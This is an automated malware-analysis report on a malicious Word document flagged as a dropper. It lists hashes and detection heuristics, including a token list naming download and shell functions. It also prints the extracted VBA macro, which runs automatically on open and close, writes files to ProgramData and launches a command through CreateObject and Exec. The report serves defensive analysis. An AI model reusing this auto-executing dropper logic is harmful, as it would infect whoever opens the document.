Office (OOXML) malware analysis — malicious · f4b627bd0afddc13

MALICIOUS

Office (OOXML)

379.1 KB Created: 2020-08-17 11:35:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-10-16

MD5: ad9afa1dc5b4e486d3155ed62ee5ed84 SHA-1: a4cbaba0d86db1aa8ca81c955adec9461ff311a7 SHA-256: f4b627bd0afddc135953093100feecd3a92b0c9f3aa636450f02454849c0f570

238 Risk Score

Heuristics 7

ClamAV: Doc.Dropper.Generickdz-9757072-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Generickdz-9757072-0
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set HHHFUUITRetuiHGHfrfgrt = CreateObject(BEyuriioityRYRRFTFdTER.Caption)
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub autoopen()
```
Auto_Close macro low OLE_VBA_AUTOCLOSE

Auto_Close macro
Matched line in script
```
Sub autoclose()
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	5982 bytes
SHA-256: `80407a7b6be0359ef36d8fec158912d8a9e354e0ea190d5545412681565ad775`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "hfTRTDgdtdrGGDTtydfytDR" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "Brofaset" Private HHHFUUITRetuiHGHfrfgrt Sub autoopen() Open "C:\ProgramData\JEuyuwegruyutTYFYCDYGUUGOTY" & BEyuriioityRYRRFTFdTER.Tag For Binary As #1 Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Put #1, , " Page not found This question was voluntarily removed by its author. " Close #1 Application.Quit SaveChanges:=False End Sub Sub autoclose() Open "C:\ProgramData\KJKLUITUffghcvHJDTQWEEEEEEQRQ" & BEyuriioityRYRRFTFdTER.Tag For Binary As #1 Put #1, , " 'If you feel something is 'missing that should be here, contact us. " Put #1, , " 'If you feel something is 'missing that should be here, contact us. " Put #1, , " 'If you feel something is 'missing that should be here, contact us. " Put #1, , " 'If you feel something is 'missing that should be here, contact us. " Put #1, , " 'If you feel something is 'missing that should be here, contact us. " Put #1, , " 'If you feel something is 'missing that should be here, contact us. " Put #1, , BEyuriioityRYRRFTFdTER.LKLDFJLJHUguyTYTYSGgf.Caption Close #1 Set HHHFUUITRetuiHGHfrfgrt = CreateObject(BEyuriioityRYRRFTFdTER.Caption) HHHFUUITRetuiHGHfrfgrt.Exec "explorer.exe " & hfTRTDgdtdrGGDTtydfytDR.DefaultTargetFrame End Sub Attribute VB_Name = "BEyuriioityRYRRFTFdTER" Attribute VB_Base = "0{F1D9CEA6-4A7D-4EE3-9704-531CFC74DE55}{56A93C2C-C11A-4173-B706-B5E75EDA3ACD}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False
`vbaProject_00.bin`	vba-project	OOXML VBA project: word/vbaProject.bin	172032 bytes
SHA-256: `60bafbfb2de188613c2a71091c3038848c62e54c475b9c42b6c8a229212da5b2`
Detection ClamAV: Doc.Dropper.Generickdz-9757072-0 Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.